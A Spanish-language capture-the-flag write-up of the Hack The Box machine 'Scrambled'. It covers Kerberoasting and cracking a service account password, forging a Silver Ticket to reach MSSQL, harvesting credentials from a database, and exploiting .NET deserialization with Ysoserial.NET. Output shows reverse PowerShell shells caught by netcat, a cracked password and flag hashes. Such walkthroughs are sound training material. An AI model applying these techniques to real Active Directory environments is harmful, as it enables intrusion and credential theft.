Scrambled presenta información en su sitio web que nos permitió identificar unas credenciales las cuales nos ayudaron a generar un ‘Silver Ticket’ para posteriormente acceder por MSSQL. Con las credenciales dentro de una base de datos y PowerShell accedimos a un segundo usuario. Finalmente escalamos privilegios tras descubrir y analizar una aplicación de escritorio en la que explotamos una vulnerabilidad de ‘Deserialization’ en .NET con la ayuda de Ysoserial.NET.
Se presenta al sitio web como parte de una Intranet.
IT Services muestra distintas paginas, en esta se destaca la alerta que indica que auntenticación por NTLM está descativada.
Contact IT Support, muestra información de contacto, se muestran dos posibles nombres de usuarios: support y ksimpson.
New User Account muestra un formulario de “registro”, pero no es enviado a ninguna ruta.
Sales Orders App Troubleshooting, muestra una aplicación de escritorio, observamos la dirección del servidor y puerto, este ultimo está presente en nmap.
Password Resets, muestra información de cambio de contraseña, indica que al realizar un reset de contraseña es posible usar el usuario como contraseña.
Tras ejecutar nuevamente kerbrute esta vez con los dos usuarios, se muestra unicamente ksimpson como válido.
Tal y como lo indicaba el sitio, es posible utilizar el usuario como contraseña, en este caso observamos que el usuario ksimpson es válido en kerberos.
WADComs es un sitio que muestra distintos comandos para enumeración o explotación en entornos Windows segun la información que tengamos. Uno de ellos es GetUserSPNs de impacket. Sin embargo tras ejecutar el script observamos un error.
π ~/htb/scrambled ❯ impacket-GetUserSPNs scrm.local/ksimpson:ksimpson -dc-ip 10.10.11.168 -request -debug
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[+] Connecting to 10.10.11.168, port 389, SSL False
Traceback (most recent call last):
File "/usr/share/doc/python3-impacket/examples/GetUserSPNs.py", line 510, in <module>
executer.run() File "/usr/share/doc/python3-impacket/examples/GetUserSPNs.py", line 271, in run
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) File "/usr/lib/python3/dist-packages/impacket/ldap/ldap.py", line 336, in login
type3, exportedSessionKey= getNTLMSSPType3(negotiate, bytes(type2), user, password, domain, lmhash, nthash) File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 621, in getNTLMSSPType3
ntlmChallenge= NTLMAuthChallenge(type2) File "/usr/lib/python3/dist-packages/impacket/structure.py", line 87, in __init__
self.fromString(data) File "/usr/lib/python3/dist-packages/impacket/ntlm.py", line 379, in fromString
Structure.fromString(self,data) File "/usr/lib/python3/dist-packages/impacket/structure.py", line 152, in fromString
self[field[0]]= self.unpack(field[1], data[:size], dataClassOrCode= dataClassOrCode, field= field[0]) File "/usr/lib/python3/dist-packages/impacket/structure.py", line 315, in unpack
raise Exception("Unpacked data doesn't match constant value '%r' should be '%r'" % (data, answer))Exception: ("Unpacked data doesn't match constant value 'b''' should be ''NTLMSSP\\x00''", 'When unpacking field \'|"NTLMSSP\x00 | b\'\'[:8]\'')
[-] ("Unpacked data doesn't match constant value 'b''' should be ''NTLMSSP\\x00''", 'When unpacking field \'|"NTLMSSP\x00 | b\'\'[:8]\'')
π ~/htb/scrambled ❯
El error nos lleva al repositorio de impacket donde se habla que la autenticación por NTLM está desactivada (la alerta del sitio lo menciona) y es necesario utilizar autenticación por kerberos. Se menciona una solución y un pull request con la solución aplicada en tres scripts de impacket (GetADUsers.py, GetNPUsers.py, GetUserSPNs.py ver commit), hay que mencionar que la solución es presentada por el autor de la máquina.
Ticket - Kerberos
Para autenticarnos por kerberos necesitamos un ticket, solicitamos un ticket utilizando getTGT de impacket para el usuario ksimpson.
Tras ejecutar john con el wordlist rockyou obtuvimos la contraseña.
1
2
3
4
5
6
7
8
9
10
11
π ~/htb/scrambled ❯ john --wordlist=$ROCK sqlsvc_hash
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash(krb5tgs, Kerberos 5 TGS etype 23[MD4 HMAC-MD5 RC4])Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Pegasus60 (?)1g 0:00:00:05 DONE (2022-07-15 20:28) 0.1773g/s 1902Kp/s 1902Kc/s 1902KC/s Penrose..Pearce
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
π ~/htb/scrambled ❯
Intentamos autenticarnos por kerberos por mssql solicitando un ticket pero mssql no nos permite.
Luego de investigar un poco más nos topamos con Silver Tickets, con la información que tenemos podemos craftear un ticket para un servicio. Para ello necesitamos obtener el NTLM hash y SID de un usuario.
Para obtener el SID, lookupsid de impacket podría ayudarnos, pero lookupsid no soporta autenticación por kerberos.
VbScrub en el video sobre Silver Tickets presenta GetDomainSID.exe, una herramienta para obtener los SID de un dominio, especificando las credenciales, tambien es posible obtener por medio de autenticación kerberos, se presenta el query utilizado por este programa en LDAP.
Con ello tenemos la información necesaria para generar nuestro ticket, utilizando ticketer de impacket generamos el ticket. Observamos que el ticket se guardó en sqlsvc.ccache.
Exportamos el path completo del ticket en la variable KRB5CCNAME, ejecutamos mssqlclient de impacket con autenticación kerberos, logramos obtener acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
π ~/htb/scrambled ❯ impacket-mssqlclient scrm.local/sqlsvc@dc1.scrm.local -no-pass -k
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)[!] Press helpfor extra shell commands
SQL> select USER;--------------------------------------------------------------------------------------------------------------------------------
dbo
SQL>
Enumeramos las bases de datos observamos ScrambleHR, observamos en la tabla UserImport las credenciales de ldap para el usuario miscsvc.
π ~/htb/scrambled ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.207] from scramblecorp.com [10.10.11.168]57575Windows PowerShell running as user sqlsvc on DC1
Copyright (C)2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
scrm\sqlsvc
PS C:\Windows\system32>
User - Miscsvc
En la raiz del disco encontramos la carpeta Shares, unicamente tenemos acceso a Public/ donde encontramos un PDF con información sobre un ataque reciente y la desactivación de autenticación por NTLM.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PS C:\Shares> dir
Directory: C:\Shares
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 01/11/2021 15:21 HR
d----- 03/11/2021 19:32 IT
d----- 01/11/2021 15:21 Production
d----- 04/11/2021 22:23 Public
d----- 03/11/2021 19:33 Sales
PS C:\Shares>
Shell
Similar a Arkham - HTB, utilizamos las credenciales que encontramos en la base de datos para ejecutar comandos como miscsvc. Observamos que tenemos acceso como miscsvc.
π ~/htb/scrambled ❯ rlwrap nc -lvp 1336listening on [any]1336 ...
connect to [10.10.14.207] from scramblecorp.com [10.10.11.168]57607Windows PowerShell running as user miscsvc on DC1
Copyright (C)2015 Microsoft Corporation. All rights reserved.
PS C:\Users\miscsvc\Documents> whoami
scrm\miscsvc
PS C:\Users\miscsvc\Documents> cd ../Desktop
PS C:\Users\miscsvc\Desktop> dir
Directory: C:\Users\miscsvc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 15/07/2022 05:56 34 user.txt
PS C:\Users\miscsvc\Desktop> cat user.txt
53310aeb2461d48034d2169608926e2c
PS C:\Users\miscsvc\Desktop>
Privesc
Descubrimos una aplicación de escritorio en una de las carpetas de C:\Shares, seguramente es de la que se habla en el sitio web.
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\Shares\IT\Apps\Sales Order Client> dir
Directory: C:\Shares\IT\Apps\Sales Order Client
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 05/11/2021 20:52 86528 ScrambleClient.exe
-a---- 05/11/2021 20:52 19456 ScrambleLib.dll
PS C:\Shares\IT\Apps\Sales Order Client>
Tras obtener ambos archivos vemos que podrían estar escrito en .NET.
1
2
3
4
5
π ~/htb/scrambled/app ❯ file ScrambleClient.exe
ScrambleClient.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
π ~/htb/scrambled/app ❯ file ScrambleLib.dll
ScrambleLib.dll: PE32 executable (DLL)(console) Intel 80386 Mono/.Net assembly, for MS Windows
π ~/htb/scrambled/app ❯
ScrambleClient
Instalamos ILSpy en una máquina windows para obtener el codigo fuente para analizarlo.
Abrimos el archivo ScrambleClient.exe observamos los diferentes componentes de este, no muestran algun tipo de interacción con el servidor o algun servicio, unicamente botones, labels inputs, etc., además hace uso de la libreria ScrambleLib.
ScrambleLib
Observamos las diferentes clases que la librería ofrece, una de ellas es Log.
En esta se muestra que realiza la escritura en el archivo ScrambleDebugLog.txt.
En SalesOrder encontramos funciones para Serializar y Deserializar en BinaryFormat en base64, lo que supondría una vulnerabilidad.
En ScrambleNetClient encontramos que es posible saltarse el login utilizando el usuario ‘scrmdev’.
Además de algunas funciones que permiten enviar y/o recibir datos.
ScrambledNetRequest y ScrambledNetResponse manejan las diferentes solicitudes. Finalmente ScrambleNetShared contiene constantes.
Scramble - App
Configuramos la dirección del servidor a la dirección IP de la máquina.
Utilizando como usario ‘scrmdev’ logramos ingresar, observamos una lista de ordenes.
Además podemos enviar una nueva orden.
Ejecutamos Wireshark para ver las solicitudes realizadas por la aplicación, observamos que al enviar una nueva orden realiza una conexión con el servidor en el puerto 4411, enviando la información serializada y codificada seguramente en base64 como se observa en el código.
Al decodificar observamos información sobre la clase u objeto SalesOrder.
Si realizamos una conexión con la máquina en el puerto 4411 observamos un error tras enviar información incorrecta, y que espera un string en base64 serializado.
1
2
3
4
5
6
π ~/htb/scrambled ❯ nc 10.10.11.168 4411SCRAMBLECORP_ORDERS_V1.0.3;UPLOAD_ORDER;abc
ERROR_GENERAL;Error deserializing sales order: Invalid length for a Base-64 char array or string.
QUIT
π ~/htb/scrambled ❯
Ysoserial.NET
YSoSerial es una herramienta que contiene una libreria de gadgets que permiten explotar vulnerabilidades de deserialization en aplicaciones .NET. Observamos que tiene varios gadgets aunque no sabemos cual de ellos podría funcionar en la aplicación por lo que generamos un ‘payload’ con cada uno de ellos realizando un ping a nuestra máquina.
π ~/htb/scrambled ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.207] from scramblecorp.com [10.10.11.168]58472Windows PowerShell running as user DC1$ on DC1
Copyright (C)2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> cd C:\users\administrator\desktop
PS C:\users\administrator\desktop> dir
Directory: C:\users\administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 15/07/2022 05:56 34 root.txt
PS C:\users\administrator\desktop> cat root.txt
d4e301b8c323e25911c44ce30bcbe5b8
PS C:\users\administrator\desktop>